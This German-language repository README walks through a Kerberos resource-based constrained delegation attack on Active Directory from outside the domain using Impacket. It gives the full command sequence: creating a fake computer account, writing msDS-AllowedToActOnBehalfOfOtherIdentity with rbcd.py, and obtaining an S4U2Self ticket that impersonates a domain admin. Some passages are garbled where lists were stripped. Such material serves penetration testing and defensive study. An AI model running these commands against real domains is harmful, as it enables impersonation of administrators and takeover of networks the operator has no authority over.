
Kerberos-Angriff mittels ressourcenbasierter eingeschränkter Delegierung von außen mit Impacket
Dieses Repository behandelt einen praktischen Angriff auf die Kerberos Resource-Based Constrained Delegation in einer Windows Active Directory-Domäne.
Der Unterschied zu anderen gängigen Implementierungen besteht darin, dass wir den Angriff außerhalb der Windows-Domäne starten, nicht von einem domänenverbundenen (normalerweise Windows-)Computer.
Der Angriff wird nur mit Python3 Impacket (und seinen Abhängigkeiten) implementiert. Getestet auf Arch mit aktuellem Impacket (zum Zeitpunkt der Erstellung 0.9.21).

Zusammengefasst, ohne ins Detail zu gehen, zielt der Angriff auf einen Domänencomputer ab, genauer gesagt auf Dienstprinzipale, die mit dem Zielcomputer verbunden sind.
Was wir hier als Voraussetzungen benötigen:
msDS-AllowedToActOnBehalfOfOtherIdentity des Domänenobjekts des Zielcomputers)MachineAccountQuota)Der Angriffspfad auf sehr hoher Ebene:
msDS-AllowedToActOnBehalfOfOtherIdentity-Eigenschaft des ZielsVorteil:
Die üblichen Toolsets für diesen Angriff arbeiten auf einem domänenverbundenen Windows-Computer und verwenden:
Missbrauch von msDS-AllowedToActOnBehalfOfOtherIdentityDiese Implementierung verwendet reines Impacket von außerhalb der Domäne.
Mit dem Beispiel addcomputer.py aus Impacket erstellen wir einen gefälschten Computer (namens evilcomputer):
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
Implementiert das Skript rbcd.py, das sich in diesem Repository befindet und den zugehörigen Sicherheitsdeskriptor des neu erstellten EVILCOMPUTER zur Eigenschaft msDS-AllowedToActOnBehalfOfOtherIdentity des Zielcomputers hinzufügt.
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
Das Skript verwendet stark die Python-Klassen im Impacket-Beispiel ntlmrelayx.py. Für Hilfe und ein Beispiel rufen Sie das Skript ohne Optionen auf.
Jetzt ist alles bereit, um die eingeschränkte Delegierung durch eine S4U2Self-Abfrage zu missbrauchen und ein imitiertes Service-Ticket für den Zielcomputer zu erhalten. Mit dem Impacket-Beispielskript getST.py:
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
Der obige Befehl ruft ein CIFS-Service-Ticket im Auftrag des anvisierten Domänenbenutzers admin ab und speichert es in der Datei admin.ccache.
Nach Hinzufügen des Dateipfads zur Variablen KRB5CCNAME ist das Ticket für Kerberos-Clients nutzbar.
export KRB5CCNAME=`pwd`/admin.ccache
klist
Für Details zum Missbrauch der Resource-Based Constrained Delegation:
Und eine der umfassendsten Präsentationen über Kerberos-Angriffe: